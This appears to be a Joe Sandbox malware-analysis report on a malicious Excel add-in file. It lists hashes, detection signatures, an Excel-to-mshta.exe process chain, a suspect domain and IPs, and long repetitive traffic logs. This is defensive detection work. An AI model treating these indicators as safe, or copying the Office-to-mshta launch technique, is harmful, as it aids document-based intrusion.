Edit tour

Windows Analysis Report
POETDB24-25771.xla.xlsx

Overview

General Information

Sample name:	POETDB24-25771.xla.xlsx
Analysis ID:	1633349
MD5:	70ff76bdbb7897e2c3731021351facd3
SHA1:	107545e7202e995328364052a96083e743881acc
SHA256:	faf027205ff3109e74b13910c005ddb30148d1c9bb71f4d8739949d04a6be27d
Tags:	xlaxlsxuser-abuse_ch
Infos:

Detection

Score:	60
Range:	0 - 100
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Document exploit detected (process start blacklist hit)

Excel sheet contains many unusual embedded objects

Sigma detected: Suspicious Microsoft Office Child Process

Document contains embedded VBA macros

Document embeds suspicious OLE2 link

Document misses a certain OLE stream usually present in this Microsoft Office document type

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Sample execution stops while process was sleeping (likely an evasion)

Searches for the Microsoft Outlook file path

Sigma detected: Excel Network Connections

Sigma detected: Suspicious Office Outbound Connections

Suricata IDS alerts with low severity for network traffic

Unable to load, office file is protected or invalid

Uses a known web browser user agent for HTTP communication

Classification

Process Tree

System is w10x64

EXCEL.EXE (PID: 6152 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding MD5: 4A871771235598812032C822E6F68F19)

mshta.exe (PID: 7328 cmdline: C:\Windows\SysWOW64\mshta.exe -Embedding MD5: 06B02D5C097C7DB1F109749C45F3F505)

splwow64.exe (PID: 7440 cmdline: C:\Windows\splwow64.exe 12288 MD5: 77DE7761B037061C7C112FD3C5B91E73)

EXCEL.EXE (PID: 7692 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\user\Desktop\POETDB24-25771.xla.xlsx" MD5: 4A871771235598812032C822E6F68F19)

cleanup

Sigma Signatures

System Summary

Sigma detected: Suspicious Microsoft Office Child Process

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io: Data: Command: C:\Windows\SysWOW64\mshta.exe -Embedding, CommandLine: C:\Windows\SysWOW64\mshta.exe -Embedding, CommandLine|base64offset|contains: Iyb, Image: C:\Windows\SysWOW64\mshta.exe, NewProcessName: C:\Windows\SysWOW64\mshta.exe, OriginalFileName: C:\Windows\SysWOW64\mshta.exe, ParentCommandLine: "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE, ParentProcessId: 6152, ParentProcessName: EXCEL.EXE, ProcessCommandLine: C:\Windows\SysWOW64\mshta.exe -Embedding, ProcessId: 7328, ProcessName: mshta.exe

Sigma detected: Excel Network Connections

Source: Network Connection

Author: Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Florian Roth '@Neo23x0", Tim Shelton: Data: DestinationIp: 3.39.153.44, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE, Initiated: true, ProcessId: 6152, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49699

Sigma detected: Suspicious Office Outbound Connections

Source: Network Connection

Author: X__Junior (Nextron Systems): Data: DestinationIp: 192.168.2.8, DestinationIsIpv6: false, DestinationPort: 49699, EventID: 3, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE, Initiated: true, ProcessId: 6152, Protocol: tcp, SourceIp: 3.39.153.44, SourceIsIpv6: false, SourcePort: 443

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-10T09:13:39.957907+0100	2028371	3	Unknown Traffic	192.168.2.8	49701	13.107.253.72	443	TCP
2025-03-10T09:13:48.103786+0100	2028371	3	Unknown Traffic	192.168.2.8	49703	13.107.253.72	443	TCP
2025-03-10T09:13:48.152761+0100	2028371	3	Unknown Traffic	192.168.2.8	49702	13.107.253.72	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: POETDB24-25771.xla.xlsx

ReversingLabs: Detection: 21%

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 3.39.153.44:443 -> 192.168.2.8:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.72:443 -> 192.168.2.8:49701 version: TLS 1.2

Software Vulnerabilities

Document exploit detected (process start blacklist hit)

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Process created: C:\Windows\SysWOW64\mshta.exe

Source: global traffic	DNS query: name: link.saja.market
Source: global traffic	DNS query: name: otelrules.svc.static.microsoft

Source: global traffic	TCP traffic: 192.168.2.8:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49703 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49702 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49700 -> 198.23.187.151:80
Source: global traffic	TCP traffic: 192.168.2.8:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 192.168.2.8:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 192.168.2.8:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 192.168.2.8:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 192.168.2.8:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 192.168.2.8:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 192.168.2.8:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 192.168.2.8:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 192.168.2.8:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 192.168.2.8:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49702 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49703 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49702 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49703 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49702 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49703 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49703 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49703 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49702 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49702 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49703 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49703 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49703 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49702 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49702 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49702 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49702 -> 13.107.253.72:443

Source: global traffic	TCP traffic: 192.168.2.8:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 3.39.153.44:443 -> 192.168.2.8:49699
Source: global traffic	TCP traffic: 192.168.2.8:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 192.168.2.8:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 3.39.153.44:443 -> 192.168.2.8:49699
Source: global traffic	TCP traffic: 3.39.153.44:443 -> 192.168.2.8:49699
Source: global traffic	TCP traffic: 192.168.2.8:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 192.168.2.8:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 3.39.153.44:443 -> 192.168.2.8:49699
Source: global traffic	TCP traffic: 3.39.153.44:443 -> 192.168.2.8:49699
Source: global traffic	TCP traffic: 192.168.2.8:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 192.168.2.8:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 3.39.153.44:443 -> 192.168.2.8:49699
Source: global traffic	TCP traffic: 3.39.153.44:443 -> 192.168.2.8:49699
Source: global traffic	TCP traffic: 192.168.2.8:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 3.39.153.44:443 -> 192.168.2.8:49699
Source: global traffic	TCP traffic: 192.168.2.8:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 192.168.2.8:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 3.39.153.44:443 -> 192.168.2.8:49699
Source: global traffic	TCP traffic: 192.168.2.8:49700 -> 198.23.187.151:80
Source: global traffic	TCP traffic: 198.23.187.151:80 -> 192.168.2.8:49700
Source: global traffic	TCP traffic: 192.168.2.8:49700 -> 198.23.187.151:80
Source: global traffic	TCP traffic: 192.168.2.8:49700 -> 198.23.187.151:80
Source: global traffic	TCP traffic: 198.23.187.151:80 -> 192.168.2.8:49700
Source: global traffic	TCP traffic: 198.23.187.151:80 -> 192.168.2.8:49700
Source: global traffic	TCP traffic: 198.23.187.151:80 -> 192.168.2.8:49700
Source: global traffic	TCP traffic: 198.23.187.151:80 -> 192.168.2.8:49700
Source: global traffic	TCP traffic: 198.23.187.151:80 -> 192.168.2.8:49700
Source: global traffic	TCP traffic: 198.23.187.151:80 -> 192.168.2.8:49700
Source: global traffic	TCP traffic: 198.23.187.151:80 -> 192.168.2.8:49700
Source: global traffic	TCP traffic: 198.23.187.151:80 -> 192.168.2.8:49700
Source: global traffic	TCP traffic: 192.168.2.8:49700 -> 198.23.187.151:80
Source: global traffic	TCP traffic: 198.23.187.151:80 -> 192.168.2.8:49700
Source: global traffic	TCP traffic: 198.23.187.151:80 -> 192.168.2.8:49700
Source: global traffic	TCP traffic: 198.23.187.151:80 -> 192.168.2.8:49700
Source: global traffic	TCP traffic: 192.168.2.8:49700 -> 198.23.187.151:80
Source: global traffic	TCP traffic: 192.168.2.8:49700 -> 198.23.187.151:80
Source: global traffic	TCP traffic: 192.168.2.8:49700 -> 198.23.187.151:80
Source: global traffic	TCP traffic: 198.23.187.151:80 -> 192.168.2.8:49700
Source: global traffic	TCP traffic: 198.23.187.151:80 -> 192.168.2.8:49700
Source: global traffic	TCP traffic: 198.23.187.151:80 -> 192.168.2.8:49700
Source: global traffic	TCP traffic: 198.23.187.151:80 -> 192.168.2.8:49700
Source: global traffic	TCP traffic: 192.168.2.8:49700 -> 198.23.187.151:80
Source: global traffic	TCP traffic: 192.168.2.8:49700 -> 198.23.187.151:80
Source: global traffic	TCP traffic: 198.23.187.151:80 -> 192.168.2.8:49700
Source: global traffic	TCP traffic: 192.168.2.8:49700 -> 198.23.187.151:80
Source: global traffic	TCP traffic: 192.168.2.8:49700 -> 198.23.187.151:80
Source: global traffic	TCP traffic: 192.168.2.8:49700 -> 198.23.187.151:80
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 13.107.253.72:443 -> 192.168.2.8:49701
Source: global traffic	TCP traffic: 192.168.2.8:49701 -> 13.107.253.72:443
